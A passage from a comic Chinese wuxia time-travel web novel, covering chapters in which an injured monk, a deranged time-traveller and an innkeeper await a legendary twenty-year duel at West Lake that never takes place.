我惊讶道:“哇!这么厉害!”心中一阵羡慕,对那个武炼莫名生出一种敬意。 娄琴却笑了,她摆了摆手,说:“其实这个武炼的剑法始终不算高超,他之所以能够一招切断韩钰的胳膊,完全是因为韩钰对他的功夫一无所知。韩钰成名已久,当他面对一个默默无闻的青云弟子时,难免也有些大意轻敌。更何况,谁会想到几米之外,挥一挥手会有如此大的杀伤力。武炼成名之后,大家对他都有了防备,只要他抬起手,别人就会立刻闪躲。他发出的气剑又不像真的剑一样,能在手中灵活掌控。与高手过招,一击不中,便可能万劫不复。就算是碰到武功一般的人,只要能够避其锋芒,一直躲闪开武炼的气剑,这种功夫极耗内力,很快他便会力竭,然后再出击,武炼绝无还手的余地。” 听娄琴这么一说,那么第二个问题便来了。 我问:“那你为什么会被武炼所伤?” 娄琴又摸了摸我的脑袋,说:“人家是来替青云派找回面子的,遂了他的心意,我们便省了很多麻烦。我可不想与青云派为敌。” “哦!”我恍然大悟,说:“这就是书中所说的美人计!” 娄琴噗呲一声笑了,说:“这是苦肉计!” 讲完之后,娄琴走了。我内心之中的歉意却更深了,她毕竟是为了保护我才惹上青云派这样的麻烦。这份情谊,要怎么还呢? 晚间,圆通突然而至。 墨色苍穹,不见星月。呼呼地风吹着,一片暴雨将临的景象。 天空中,白光一闪,一道霹雳将黑夜照得几如白昼。圆通突然出现在门口,他浑身是血,身子摇摇欲坠,那一抹雪亮的光头上赫然一道口子,鲜血淌得满脸都是,或许是因为疼痛,他牙关紧咬,露出一排沾满血渍的牙齿,就像是刚刚从地狱里爬出的嗜血恶鬼,显得十分狰狞可怖。 当时,店伙计正准备上板打烊,突然一个鲜血淋漓的和尚出现在门口,店伙计大叫一声,扔了门板,喊着“有鬼”,向后院跑去。 那时,我正收着桌上的盘子,突然听店伙计一声惨叫,也想扔了手中的盘子,随他而去。但圆通只手扶着门口,指着我,有气无力地说:“小,小施主,近来......可好......” 我这才认出来是圆通,赶紧上前将他扶住,问:“你怎么了?” 圆通不说话,只是摇头。 “哎呦。”娄琴闻声赶来,看到这副血淋淋地场景,惊叫了一声,问,“这是怎么了?” 我没说话。因为我也不知道是怎么了。 圆通却也没有说话,一头栽倒在地上,昏死过去。 这一夜,娄琴客栈上下乱成了一锅粥。屋外暴雨倾盆,风声雨声夹杂着雷声,注定这个是一个不算安宁的夜晚。 娄琴带领着几个店伙计在屋里为圆通疗伤,被娄琴训斥得有些慌乱的店伙计端进去一盆清水,一会儿的功夫又端出来一盆血水,进进出出,忙碌地一塌糊涂。 娄琴将我挡在门外,她说我不懂疗伤,进去只能添乱。 我只好在门外焦急地等待,时不时地向屋里瞧两眼,心里非常紧张。 圆通千万不能死啊!我梦寐以求的宅子、妻子、儿子还指望他那一成的香火钱呢。 “啊……”屋里一声长长的惨叫。 我的心被猛然地揪起。那一刻,强烈的担忧几乎是下意识地涌来。我在想,这样的担忧真的只是为了那一成的香火钱吗?还是这些日子以来的相伴,让我对这个和尚莫名地产生了类似于对八矛师父的情感? “用力!就快出来了!”娄琴焦急地喊着。 李小谦从旁飘过。一个伙计端了一盆血水从屋里急匆匆地跑了出来,险些撞到李小谦怀里。 李小谦面无表情地向门内瞥了一眼,问:“谁啊?” 我说:“圆通!” 李小谦摇头叹息:“和尚都能生孩子!万恶的旧社会!”然后,如游魂一般地飘走了。 “吱呀”一声,门来了。娄琴抹着额头上细密的汗珠,将一根两寸长的铁镖在我面前晃了一下,铁镖上还沾着圆通的献血,看着便让人不寒而栗。 娄琴说:“这大师真是命大,这么长的一根飞镖从后心整个打了进去,若在深入半分,刺破心脏,恐怕神仙都难救了。” 我赶紧询问:“救活了吗?” 娄琴说:“性命保住了。但需要休养一些时日。” 我拍了拍惊魂未定的心,小声念道:“太好了,媳妇孩子都保住了!” 娄琴一怔,问:“你说什么?” 我发觉自己说错了话,暗叫不好!但,这种事要如何跟娄琴解释呢?总不能说,我和李小谦密谋私分了佛祖的香火钱吧!如果娄琴知道了,她会用怎么样的道德目光鞭策我晦暗的心灵? 正不知如何搪塞之时。李小谦又像孤魂野鬼一般地飘了回来。他散而无神地目光看了一眼我和娄琴,问:“生了?是小和尚还是小尼姑?” 一股无名怒火从胸口喷薄而出,我猛吸了几口气,强忍下怒火,再次闭上了眼睛,心中默念,他疯了,不要和他一般见识。他疯了,不要和他一般见识…… 最终,我并没有说服自己,而是挥出了爆怒地拳头,结结实实地打在了李小谦的脑袋上。 拳头挥在李小谦的脑袋上,骨骼相撞的剧烈疼痛让我怒火更盛,我大吼:“快醒醒吧,圆通差点死了!” 李小谦吃了我一记重拳,半边脸都肿了,嘴角挂着一丝血迹。但却依旧是面无表情,悠悠地说:“难产就送医院,私自接生是违法的。万恶的旧社会!”说罢,他摇着头,像游魂一般地飘走了…… 一向玩世不恭的李小谦,竟然被自己的同伴打击成这个模样。足可见,这世间,背叛与抛弃对一个人的伤害有多么重。至少到那时候,我还没有经历过这样的背叛与抛弃,我也没有办法理解李小谦内心的痛苦。但是,我却有些心痛,一种那个时候,我所不能明白的心痛。 明知李小谦精神已经失常,但娄琴仍旧像听到了亘古奇闻一般,惊讶地张着嘴巴。 我心乱如麻,在脑海中千方百计地找寻着一个合理的解释,却徒劳无果。 我说:“我去看看圆通。”转身走进房间,顺手掩上房门。 终于,清净了。 第一卷 最后一个武林盟主 第二十四章 哪疼 我在圆通的房间里守了他整整一夜,未出房门一步。 并不是出于关心,而且我实在不愿再见到李小谦那张神神叨叨的脸。本来和他这种九百年后的妖怪讲话就颇费心思,如今他又成了一个九百年后的疯妖怪,浑身上下散发着令人窒息的绝望。 第二天一早,李小谦失踪了。 娄琴急促地敲着门,大喊:“不好了,小谦不见了。” 我揉了揉惺忪的睡眼,先回忆了一下昨晚的梦境,呆了一会儿,发现昨晚一场酣畅淋漓的好梦随着意识的清醒已烟消云散,想不起一丝一毫的场景。唯独在心里留下一种美不可喻的奇妙感觉,仿佛是经历了一场极致的美好。 我忽然感觉双腿之间有些不适。伸手一摸。 湿湿的…… “咚咚咚……” 娄琴的敲门声依旧非常的紧凑。不给我留下一丁点儿思考的时间。 我打开房门,看到娄琴精心装扮的俏脸上满是焦急,我问:“怎么了?” 娄琴说:“李小谦不见了!” 我“哦”了一声。李小谦在不在,实在与我无关。 但娄琴却不依不饶地拉着我要去找李小谦。我拗不过她,便和她一同出了客栈。 在临安府大街小巷寻找到晌午时候,仍旧没有发现李小谦似游魂一般的身影。 我又累又饿,对娄琴提议:“我们先回去吧,或许李小谦只是出去逛逛。” 娄琴不悦,训斥我道:“你们是兄弟,他神情恍惚,恐怕有轻生的念头,你却要置之不理,岂非不义。” 我什么时候和李小谦成了兄弟? 真不明白,我到底是哪里做得不对,让娄琴产生了这种错觉。 我正想要辩解,娄琴却已经气呼呼地走开了。走了几步,随手拉过一个路人询问:“这位兄弟,可否看到一个书生装扮的男子,这么高……”娄琴用手比量着李小谦的身高,说:“看起来神色有些恍惚……” 路人摇了摇头,走了。 娄琴一阵失落,向前走了几步,又拉过一个路人,重复着方才的询问。 第二个路人摇了摇头,走了。 …… 不知道第多少个路人。我跟在娄琴身后,看她焦急的模样,仿佛丢失了亲人一般。我不由地感慨,到底李小谦有什么样的魔力,能让萍水相逢的人纷纷如此对他。 这个路人听完娄琴的询问,伸手指了一个方向,说:“刚才我在城外遇到一个男子,与你说得那人相仿,已被人打得半死了,快过去看看吧。” 娄琴都没来得及向那路人道谢,拉着我便向城外奔去。 赶到那路人所指之处时,果然看到路边围了一群人。好像还有几名官兵。 自从雁荡山一事之后,我对官兵有了一种自然而然地恐惧。见到那身装扮的人,便下意识地想跑。 刚跑出两步,我被娄琴一手抓了回来。她扯着我的衣服挤到人群之中。 人群中央,一人浑身泥土蹲坐在地上,洁白的衣服上到处都是带着血迹的划痕,一张脸肿得像猪头一般大小,血和泥土混合,挂在脸上,让他看上去十分狼狈。 能认出是李小谦,着实让我和娄琴废了一番眼力。 “哎呦!”李小谦痛苦地哀嚎着,“到底是哪个狗(脱敏)娘养的偷袭老子!” 从他的叫骂声中可以听出,他仿佛是正常了。 娄琴扶住李小谦,关切地问:“这是怎么了?谁把你打成了这个样子!” 李小谦见到娄琴,一抽泣,“哇”地一声哭了出来。 “好了,好了!” 一个官兵站了出来,说:“无关人等回避,不要妨碍公事。” 看来是官府的衙役。我稍稍放心了些。 衙役问:“你被何人所伤?” 李小谦捂着臃肿的脸,叫道:“我不知道啊!有人用黑布蒙住的脸就打……”他从地上抓起一个黑色的面罩,在衙役面前摇了摇,奋力扔了出去,发泄着怒火。 衙役问:“有几人打你?” 李小谦说:“我不知道啊!一大堆拳脚,连打带踢!我都数不清啦……”李小谦又一阵哀嚎。 衙役又问:“他们往哪跑了?” 李小谦思索片刻,叫道:“我不知道啊!都把老子打蒙了!” 衙役不耐烦了,大喝:“那你知道什么?” 李小谦想了想,说:“我知道我哪疼。”说完,他摸了摸肩头的伤口,爆出杀猪一般地嚎叫:“哎呦喂……疼死老子啦!” 看来,李小谦是真的好了!他都能清楚地知道自己哪里疼了! 衙役又询问了李小谦一些问题。因为李小谦不能提供打他之人的任何线索,衙役们摇着头走了。 李小谦哭得更惨了,他哀嚎着:“别走啊!你们到底管不管啊!还有没有王法了?光天化日公然打人!老子要打幺幺零!” 完了,这是又疯了! 我和娄琴一左一右搀扶着李小谦,他一路哀嚎着回到了娄琴客栈。 这一路上,我一直在暗中观察李小谦。 他到底是好了没有呢? 娄琴客栈。 我们将李小谦送进了圆通养伤的那个屋。最近不知为何,突然来了很多外地人士,将娄琴客栈的客房住得满满当当。 我们刚进门,昏迷中的圆通忽然坐了起来。他当着我们所有人的面,闭着眼,踉踉跄跄从床上爬了起来。 我颇感好奇,想看他究竟要干什么,便没动。只见他慢慢绕过客房中间的桌子,迈着毫无目的的步子,围着桌子转了两圈,突然大喊一声:“女施主,使不得!”然后,重新绕回到床上,一头栽倒,双手伸平,趴在床上,连姿势都和之前都一模一样。 “我靠!”李小谦叫道:“大师怎么了?” 我叹息一声,心想,这群人就没有一个是正常的。再这样下去,迟早我也会变成一个疯子。 从李小谦之后的表现来看,他的确已经恢复了正常。虽然还是操着一口九百年后晦涩难懂的话,但言谈举止逻辑清晰,思维反应敏捷,全然不是前几日游魂梦呓般的模样。 但是,我对李小谦莫名其妙被打一事仍然十分好奇。心想,到底是哪路神仙帮我出了一口恶气。 我想弄个明白,以便今后相见,好生言谢。便问李小谦:“谁打的你?” 李小谦轻揉着肩头,说:“我真的不知道!” 我问:“你知道什么?” 李小谦瞳孔骤然紧缩,一双眼睛直勾勾的盯着我,说:“我知道我哪疼!快点帮我上药!” 第一卷 最后一个武林盟主 第二十五章 风云 不知何故,近日来,临安府中的江湖人士越来越多了。 娄琴客栈已经人满为患。为了不耽误客栈的生意,李小谦主动要求他、圆通还有我,我们三个人共住一间客房。 圆通养伤的客房里有两张床。如此一来,注定有一人要打地铺。由此,对如何分配床铺这个问题,我们起了争执。 圆通伤势很重,自然需要单独一个床来休息,此事无可争议。然后,我坚持要求睡另外一张床。 李小谦却说,他和圆通都有伤在身,需要好好休养。 我说:“你受得不过是皮外伤,没有必要休养。” 李小谦便可怜巴巴地看着我,拉起我的手,放在他的胸口,说:“人家伤得是心嘛!” 我登时鸡皮疙瘩肆虐而起,胃里犹如翻江倒海,一股热流从腹部直冲咽喉,喷薄欲出! 我强忍着,不让自己吐出来。李小谦双目之中却柔波乍现,抓着我的手在他胸口揉了揉,说:“要不咱俩一起睡?” 我突然想起了那天在绍兴客栈里偶遇陆游之时,他便是这般眼神直勾勾地盯着陆游! 险些忘了,李小谦这厮还有龙阳之癖! 我慌忙抽出手来,一跃向后跳出去好几米,大喊:“不,不!” 这时,原本在床上趴着一动不动的圆通不知道什么时候醒了过来,他翘起一个脑袋,面无表情地看着我们两个,突然,挤出一个会意的微笑,说:“贫僧......什么都没听到。”说罢,一头栽进被褥之中。 我是跳进黄河也洗不清了! 此地绝对不宜久留!我发誓,宁可露宿街头,也不要和李小谦共处一室。 跑到楼下,正值午饭时间,客栈厅堂里前所未有的热闹景象着实让我惊呆了。 娄琴客栈的厅堂本不算大,平日里不过能摆得下七八张桌子,每张桌子可坐八人,紧凑些可坐十一二人。各个桌子之间留下一米有余的空隙,可供人行走。 但此时,客栈的厅堂里竟然满满地塞了十张桌子,每张桌子四周都挤了十五六人。然而,板凳的承载量是有限的,自然是挨不下十五六个壮汉的屁股。 于是乎,八仙过海,各显神通。 江湖之人出门在外,总能想出一些匪夷所思的办法来应对各种各样的困难。其结果往往让人瞠目。 一个瘦子挤在人缝之中,使出一招金鸡独立,右腿盘起,屁股向下一沉,落在盘起的右腿上,一阵东倒西歪之后,终归风平浪静,安如磐石。 众人一阵叫好。 又一名壮汉冷笑一声,抓起桌上的两个酒坛子,放在地上,双足轻轻一点地,使出轻功,两脚稳稳地踩在坛口上,一个马步扎下去,稳如泰山。正欲眉开眼笑之际,他旁边的一个长者一掌将他推了下去,呵斥道:“你个败家玩意儿!酒还没喝呢,让你踩了两脚!滚一边儿去!” 壮汉点头哈腰,连连致歉。 一名白脸剑客呵呵一笑,见同伴均已坐定,从腰间解下佩剑,向下一戳,“嘡”的一声响,那剑插入地面数寸深。剑客不紧不慢,环视四周,绕到剑前,缓缓坐下。突然,他眉头一皱,“哦”的一声,露出一个极为微妙的表情,稍纵即逝。 不一会儿的功夫,十几名好汉各显神通,纷纷落座。最后,只剩下一个满脸胡茬的粗犷汉子,尴尬地站着,不知所措。他手里端着一个不知是何物的兵器,一团深色的粗布裹得严严实实,看不出形状。 那汉子见众人都已坐下,唯独自己犹如鹤立鸡群,惹人注目。只见他脸颊一红,用手戳了戳同伴的肩膀,小声说:“师弟,给哥哥让个座。” 那汉子的师弟,环顾四周,说:“师兄,到你显示本领的时候了。来一手!” 众人随之起哄。那汉子脸颊更红,说:“哥哥我没有什么本事,只有一身蛮力,没什么用处。快给哥哥让个座。”他依旧在央求他师弟。 这时,那汉子同桌的一人指了指坐在剑上的那个剑客,说:“你可以效仿这位英雄。以兵器为座。” 没想到,那汉子眉毛一横,登时青筋暴起,一副怒不可遏的神情,将兵器上裹着的粗布一把扯了下来,露出一柄狼牙棒,密集的钉刺闪着凶狠的银光。那汉子将狼牙棒向那人脸前一横,大喝一声,叫道:“放你娘的屁!你来坐一下试试!” 厅堂里顿时爆发出雷鸣一般的笑声。 那汉子大概是感觉颜面扫地,拳头紧紧地攥着,眼看就要发作。这时娄琴端着一盘热菜从后厨中走了出来。她白皙的俏脸上,挂着一层细密汗珠,秀眉微颦,神情疲惫,显然对这种忙碌极为不适应。 她见堂中一名粗犷的汉子横着狼牙棒,满目嗔色,先是一怔,随之急忙上前笑道:“客官好俊的兵器,一看便知威力不凡。小店厅小了些,恐怕不能供客官施展绝妙武功了。” 那汉子怔了怔,或许是见到娄琴这样一个风姿百态的女子正向他袅袅娜娜而来,因而不好意思再发狠了,便索性将狼牙棒收了起来,怒哼一声,拂袖而去。 娄琴笑盈盈地看着,冲那汉子喊了一声:“客官慢走,稍后叫伙计将饭菜送到客房去。” 人都说,江湖之中快意恩仇,若没有了女人,便只剩下恩仇。 如此可见,这话果然有理。一场危机,能被娄琴轻巧地化解。因为,她是女人。 酒菜很快便摆满了各个桌子,一屋子的江湖好汉开始推杯换盏,酒过三巡,纷纷胡侃乱傍,牛都吹到了天上。 我在一旁观察了很久,发现这群人大致可以划分为十个团伙,一桌一伙,桌与桌之间并不相识。 但他们的言语间却都在讨论着同一个话题。 风云之战! 听了很久,我也没听出眉目。便干脆走到一个桌子前,问:“什么是风云之战?” 十几双眼睛盯了我片刻,一个人说:“这位兄弟想必不是江湖中人吧?” 我嗯了一声,作为对他们的回复。那时,江湖离我尤为远之,我不懂江湖,江湖上也并没有我的名号。 这桌人还算和气,他们并没有给我一丝牛气哄哄的感觉,并向我耐心地讲起了这场江湖上颇为注目的风云之战...... 第一卷 最后一个武林盟主 第二十六章 十年 风,指的是风从虎。 云,便是云从龙。 这是两个人,两个江湖上的人,两个江湖上绝无仅有的高人。 风用虎牙剑,云使龙神刀。 三十年前,不知道从何方冒出了这样两个高手,二人情同手足,携手杀入江湖,只因武功太高,而引来各方关注。 据说,当年,风云二人刀剑合璧,在终南山紫竹林大战北派武林七大掌门。九个人,混在一起,打了一天一夜,过了几百上千招,未分胜负。 但是,即便是未分胜负,也成就了江湖上“风云战七山”的传说。 那场大战之后,风从虎和云从龙两个人到了龙虎山,在那里开山立派。或许是觉得风云这个名字太过于招摇,他们成立了龙虎帮。 最初的几年,两人凭借“风云战七山”的名声,招揽了大批的弟子,很快龙虎帮便在江湖上站稳了脚跟,声名显赫,直逼南派武林之首的青云派。 随着龙虎帮的名声越来越响,江湖上的人便渐渐开始好奇。 到底是风更强一些呢,还是云更厉害呢? 后来,江湖上分成两种观点,一种认为风从虎的虎牙剑威猛中不失灵巧,定能战胜云从龙。另一种观点认为,云从龙的龙神刀如疾风骤雨,神龙出世,威力十分惊人,是虎牙剑的克星。双方各执一词,争论不休。 这种舆论力量的挑拨,也逐渐影响了风云二人的兄弟情义。他们开始争执,到底谁的武功更高强一些? 这一争就是十年。 二十年前,风云际会,龙虎相争。在洛阳,老君山南北武林大会上。南派武林和北派武林还未开战,两个情同手足的兄弟便已在一些多事之人的怂恿下打得不可开交。 江湖的各门各派,地无分南北,人不论尊卑,竟分成两派阵营,纷纷开始押宝。只因为少林派的和尚禁止赌博,江湖人便推举少林派坐庄,主持场面。 一开始,只是一两二两,后来随着风云战况愈演愈烈,一场怡情的小赌变成了一掷百万的豪赌。很快,少林派几十名和尚忙得不可开交,金银珠宝在场上堆得像山一样高。 然而,风从虎和云从龙两个人,各有所长也各有所短,大战数百回合,难分高下。 最终,双方战成平手,少林派意外通吃,拉走了数之不尽的金银财宝。 江湖上的人非常郁闷。 风云二人也因此结下了梁子,当着江湖武林的面立下了二十年之约,约定二十年之后的那天,在西湖边上,再分高下。 为什么是西湖? 两个人都没有做出解释。这场比武之后,风云分道扬镳,将龙虎帮掌门传给了他们共同的弟子刘易守,从此绝迹江湖。 但是,那一场比武让许多人输得倾家荡产,因此这个约定,被江湖上所有的人牢记了二十年。许多当年的英雄都已不在人世,但他们却将那个约定传给了子孙后代。 再过三天,便是约定的二十年之期届满之时。虽然没有接到风云二人的江湖帖,但是,各大门派还是不约而同地赶到了临安府。许多人都是当年在老君山上下过注的,如今他们匆匆赶来临安府,观看风云之战,不仅仅是为了解开风和云谁更厉害的谜团,更是为了赢回当年被少林派通吃掉的赌注。 说到这里,桌上的一个人泪如雨下,他仰起头,悲伤地说:“家父当年下了一万两的赌注,却没挨过二十年之期。他临死之前,仍然握着我的手,谆谆教诲:‘西湖风卷残云日,家祭无忘告乃翁’!”说完,他泣声幽咽,难以自持。 我问:“你爹当年压了风从虎?” 那人说:“不是,他压了云从龙!” 我问:“那为什么他盼着风卷残云呢?” 那人说:“云从龙武功不济,害得我家倾家荡产,只有眼看着他惨败风从虎之手,才能消我一家人心头只恨!” 我说:“你爹这不是输了大小赖骰子嘛。” 那人豁然站起,骂道:“娘的!输得又不是你家银子,竟敢在此对家父评头论足!” 我说:“你爹这么做实在是不怎么地道!” 那人拔剑相向,怒道:“老子这就杀了你!” 为什么? 难道我说得不是事实吗? 我连忙向后退。幸亏当时厅堂之中人多,那人功夫未来得及施展之时,我便一溜烟儿跑到了后厨。 见到娄琴,我悬着的心才放了下来。 厅堂内一阵叫骂声传进厨房。娄琴问我:“是不是又闯祸了?” 我便将厅堂里发生的事向娄琴一一讲述。没想到,娄琴听我说完,噗嗤一声笑了,她摸了摸我的头,说:“旦丙,今后你要记得,看破不要 说破,要给别人留点面子。” 圆通的伤好得很快。这天晚上,他便开始下床走动,虽然步子看起来有些乏力。 李小谦也突然之间恢复如初。看起来,似乎是全然忘记了他的同伴抛他而去之事。我问他是不是没事了。 李小谦的答复是,天命不可违,只得尽人事。 看来,他是真的想开了。 风云之战很快成了我和李小谦共同的话题。因为这种江湖盛事,实在难得一见。说起风云之战的往事,圆通也起了兴致。 毕竟他出身少林寺,当年更是在老君山上亲眼目睹了那场风云大战。 李小谦问:“大师,你认为这次风云之战到底谁会赢?” 圆通沉吟片刻,说:“不好说,两人武功各有千秋。并且,这十年没有听过两人的消息。实在难以预料啊!” 我问:“当年你们在老君山赢了多少钱?” 圆通脸色忽沉,说:“少林寺并未参与赌博,何来赢钱之说?” 我笑了,说:“天下人都知道,少林寺最后拉回去一堆金银珠宝,怎么能说没赢钱?” 圆通说:“那是因为在场的钱财混在一起,无法分辨,为了避免在场的各派英雄因抢夺钱财而相互厮杀,少林寺才免为其难将那些财物带回去暂管。” 我说:“你这属于当了婊子还要立牌坊。” 圆通大怒,一拍桌子,喝道:“不许你侮辱少林!”说完,他翘起两根手指,看起来是准备要戳我。 我一跃跳开,问:“我说得哪里不对?” 圆通有伤在身,不敢有太大的动作,所以,我才能轻巧地躲过去。李小谦笑嘻嘻地掏出两个苹果,向我一伸,说:“给你一个。” 我突然感觉口干舌燥,伸手去拿。不料,圆通手指一伸,正戳中我的掌心。我感觉一股寒气从我掌心处逼入了体内,瞬时游遍全身,随后便动弹不得了。 李小谦嘿嘿一笑,将一个苹果递到圆通手上,说:“大师,这个给你。” 圆通满意地点了点头,接过苹果,说:“阿弥陀佛!”转身走了。 李小谦啃着苹果,围着我转了半圈,说:“旦丙,你知道大鹅怎么叫吗?” 这次,我连话都说不出来了。 李小谦扯着嗓子叫道:“该呀!” (本章完) 第一卷 最后一个武林盟主 第二十七章 结局 距离二十年风云之约还剩下不到一天的时间。 临安府空前的热闹。 大街小巷人满为患。许多人在街上公然摆起了赌摊。人们把积攒了二十年的情绪和财富纷纷抛掷在临安府的街头,只期待着这一场风云之战能带给他们期盼已久的收获。 不是江湖中人的临安百姓也凑起了热闹。他们听说了江湖上的一场等待了二十年的空前盛事即将在西湖之畔举行,纷纷上街投注,希望能够借着这次机会带给他们意想不到的收获。 整个临安府,都陷入了一场前所未有的豪赌之中。临安府的赌坊人满为患,排队押注的人从门口一直排到下一家赌坊的门口。 挤不进赌坊的人便选择了路边临时搭设的赌摊儿。但是,这种赌摊存在着些许风险。赌坊毕竟有门脸,跑得了和尚跑不了庙。但赌摊却不同,他们的庄家随时可能卷钱溜之。到那时,茫茫江湖,到哪里去寻找一个曾在临安街头摆摊设赌的陌生人。 然而,狂热的气氛让人忘乎所以。所有的人都陷入了疯狂之中,一注难求的火爆和时间紧迫的恐慌,已经让疯狂的人们完全忽略了所以的风险。 大战之前的夜晚,注定难眠。 星月当空,已是凌晨时分。临安府的大街小巷上仍然聚满了舞刀弄棒的江湖好汉和衣着朴素的临安百姓。他们一面焦急地排着长队,纷纷猜测着明天风云之战的结局,并划分阵营。 只不过,这次与二十年前不同。 这次的阵营化成了三派。除了支持风从虎和云从龙的两派之外,还有一派认为这次风云之战的结果仍旧是平局。 在黑夜里的争论与疯狂,无非是期盼着黎明的霞光亮起后那个照亮结局的瞬间。 当远山寺庙的钟声响起。 天亮了。 临安城里几乎所有的人都涌到了西湖边上。带着刀枪棍棒的江湖人自然仗着身强体壮占据了有利的位置。但是,当所有的人都站定之时,问题却不可避免地到来了。 西湖太大了! 到底风云二人会在哪里相聚?又会在哪里开始这场等待了二十年的比武呢? 人们开始争论,甚至又有人开始下注。 这时候,人群之中有人大喊一声:“站在高的地方就能看到了!” 人群一阵涌动。所有的人东张西望,寻找西湖中的制高点。 这时候,又有人大喊一声:“到雷峰塔上去!” 喊这话的人自以为聪明,但他却忘了,自己正在湖边上,四周满满当当的都是人,百人以上的团伙就有几十个。他这样一喊,自然是外围的人最先醒悟,疾步向雷峰塔冲去。 我和李小谦被人群裹挟着,成了人流之中不能自主的两粒砂石,随着人流的涌动,被挤向了未知的方向。 眼看就要到雷峰塔了,突然又听见人群中又有声音:“湖中有人!” 所有的人调转方向,裹挟着我和李小谦又向湖边涌去。人群刚刚站定,便迫不及待地向湖中张望。 这时,雾气迷蒙的湖面上隐约可见两个黑点。黑点一前一后,似乎是在水上漂浮着。 “风云两位前辈果然是当世无双的高手啊。”人群中有人称赞。 “何以见得?”人群中有人质疑。 “你看,他二人浮在水上,并肩齐驱,分明就是江湖上失传已久的轻功水上漂啊。”人群中有人解释。 “别他娘的漂了,快过来比划比划!”人群中有人叫骂。 我踮着脚尖向湖心处张望。透过清晨的迷雾,只见湖中心的两个黑点相聚并不算近。幸运地是,两个黑点正向着我们这个方向漂了。但始终保持着一定的距离,没有丝毫接触的意思。我不禁感慨,高手果然不同凡响! 又过了一会儿。我们身后的人越来越多,向后望去,密密麻麻的人头,看不见边际。 两个黑点离我们越来越近。这时,有人等得不耐烦了,叫道:“快点过来!” 声音传入湖中,片刻,听到湖中的一个黑点回了一句:“来了!” 人群一阵欢喜。 期待了二十年的风云之战,终于就要到了。 人们翘首以盼,但那两个黑点的行进速度实在慢得可以挤爆所有人的耐心。又有人开始叫骂,急躁的情绪在人群中疯狂地蔓延着。 该来的迟早都会到来。只是,它并不一定是人们所期盼的样子。 黑点越来越大,依稀可以看到两只小船,船上各站一人,仿佛带着斗笠,正奋力地划着桨向岸边驶来。 “刚才是谁说得水上漂?哈哈哈......”人群中开始嘲笑。 又过了一会,黑点更近了,距离岸边不过几十米的距离。此时,太阳升起,漂浮着湖面上的雾气也越来越淡了。 我垫着脚,却已看不见前方。因为,我前面的所有人都掂起了脚。人群中嘈杂的声音一浪接着一浪,人们的心情已不能仅用迫不及待来描述了。 我拽了拽李小谦的褂子,问:“看见了吗?” 李小谦奋力惦着脚尖,脖子伸到比我以往见到的都长,他说:“还没,还没,还没到呢。” “不是风云!” 人群的最前沿突然有人大喊了一声。后面的人接着发出了爆炸一般的声响。 “啊?你看清楚了吗?” “什么?!是谁搅了老子的兴致?!” “他娘的,白等了半天!” ....... 各种声音混在一起,场面乱得不可开交。我向上一纵身子,只见十几米外,两个小船停在水中,不再向前行驶...... 我又一纵身子,看见小船上各站了一个人,头带斗笠,一动不动。船上似乎放着一团东西正在扭动,模模糊糊没有看清...... 我索性抓着李小谦的肩膀,向上猛地一跳。 视野豁然开阔! 只见两只小船上怔怔地站了两个渔夫,他们将船停在了距离岸边十几米远的地方,船上的渔网中,鱼儿正接连打挺跳跃,欲挣脱而出。 一个渔夫扯着嗓子大喊了一声:“你们都要买鱼吗?” “谁买你的臭鱼!” “快滚!不要耽误了风云的比试!” “他娘的,信不信老子宰了你!” ....... 骂声连城一片。两个渔夫看着岸边乌央乌央地一群凶神恶煞的人,正在冲着他们叫骂,吓得赶紧调转船头,向湖心划去。 空欢喜一场。 空等待一场。 二十年的约定,一场千万人翘首以待的江湖盛世,却在日落之后彻底沉入了无尽的黑夜之中。 各种情绪在人群中蔓延。有的人骂着,有的人叹息,更有的人痛哭...... 胜负平......下注的人本应有喜有忧,但谁都没有想到会出现第四种结果。 风云没有出现。 很多年后,当我再次想起这场翘首以待的风云之战,想起那些狂热追投的人们,不只是唏嘘,更多的是感慨。世间之事并非我们所看到的那么简单,当所有的人以为他们穷尽了所以可能之时,结局往往出所有人的意料。 第一卷 最后一个武林盟主 第二十八章 拜师 绍兴和议,朝廷牺牲了大量的金钱和土地,强暴了万千民意,换来的不止是苟且求安的和平,而且还有徽宗皇帝的骨灰和高宗的亲娘。 绍兴十二年的五月,高宗皇帝的生母,徽宗皇帝的韦贤妃带着徽宗的棺椁回到了临安。 高宗皇帝为了以示隆重,带领着满朝文武大臣,以半步銮驾之礼,亲自前往临安城外迎接,声势十分浩大。 但是,让天下人没法接受的是,高宗把爹娘都要回来了,却对他的哥哥只字未提。民间一片江翻海沸的叫骂声,却只能在私下里街谈巷议。 其实,这事情并不难理解。毕竟高宗实在他哥哥钦宗活着的时候登基称帝的。对于他的法统地位,无论是朝廷还是民间都有异议。虽然,高宗一直在极力打压,但是这种声音依旧存在。如果把前任皇帝接回来,朝廷无疑会出现两个皇帝的荒唐局面。 一山岂能有二虎?!如果有了,必然会有人各自依附,出现两股势力相互争斗的乱局。 这样粗浅的道理,高宗皇帝定然是懂得的。但可惜,那时候的我不明白,民间也不明白。在他们心中仍然觉得,前朝皇帝沦为金人阶下之囚乃是莫大的耻辱。 那时候,民间的议论之声鼎沸,我问李小谦如何看待这个问题。 李小谦是这个回答的,他说:“你们这些人心胸狭隘,大家都中华民族,华夏子孙,五十六个民族一枝花,成天打来打去的有什么意思。” 他看得超然。但我却更不能理解。我说:“何来五十六个民族之说?” 李小谦拍了拍我的肩膀,摆出一副同情的样子,说:“旦丙,你是看不见了。哎……” 绍兴十二年的十一月。临安府的难得的迎来一场大雪。西湖,一片茫茫然然的白色,让人无法抗拒的断桥残雪美景,在那一年的十一月,在临安的百姓心中留下了永远也无法抹去的深刻印象。 让我、李小谦还有圆通都赶到特别高兴的是,禅慧寺在大雪到来之前终于建成了。 禅慧寺竣工后的第二天,漫天纷飞的大雪便不期而至。不知圆通是触景生情,还是因为禅慧寺落成因而心愿已了,圆通一早便跪在雷峰塔前,低声诵念。直到晚间,雪停了,圆通仍然没有动。 我和李小谦来到圆通跟前,他双目紧闭,一动不动。下午还在低声诵经,这时也没了动静。这让我颇感奇怪。 莫非他又是睡着了? 我轻声喊着:“圆通大师?” 圆通没有回应。 我拂去他头顶上厚厚的积雪,让他那一抹雪亮的光头重现,在美丽的雪景中,他的头宛如俊美的明珠,高远而圣洁。我这样抚摸他的脑袋,本以为圆通会立时转身,甚至点我穴道,因而做好了防备。但圆通仍然没有回应。 我又将手轻轻放到他的头顶上,他那一抹雪亮的光头冰凉,像雪一样凉。我感觉不到任何温度。于是,我轻轻地在圆通肩膀上一推。 只那么轻轻用力一推,圆通却像一颗刚刚被砍断的树,一头栽倒在地上。 “哐”的一声响,倒在地上的圆通仍然保持着虔诚的跪姿。 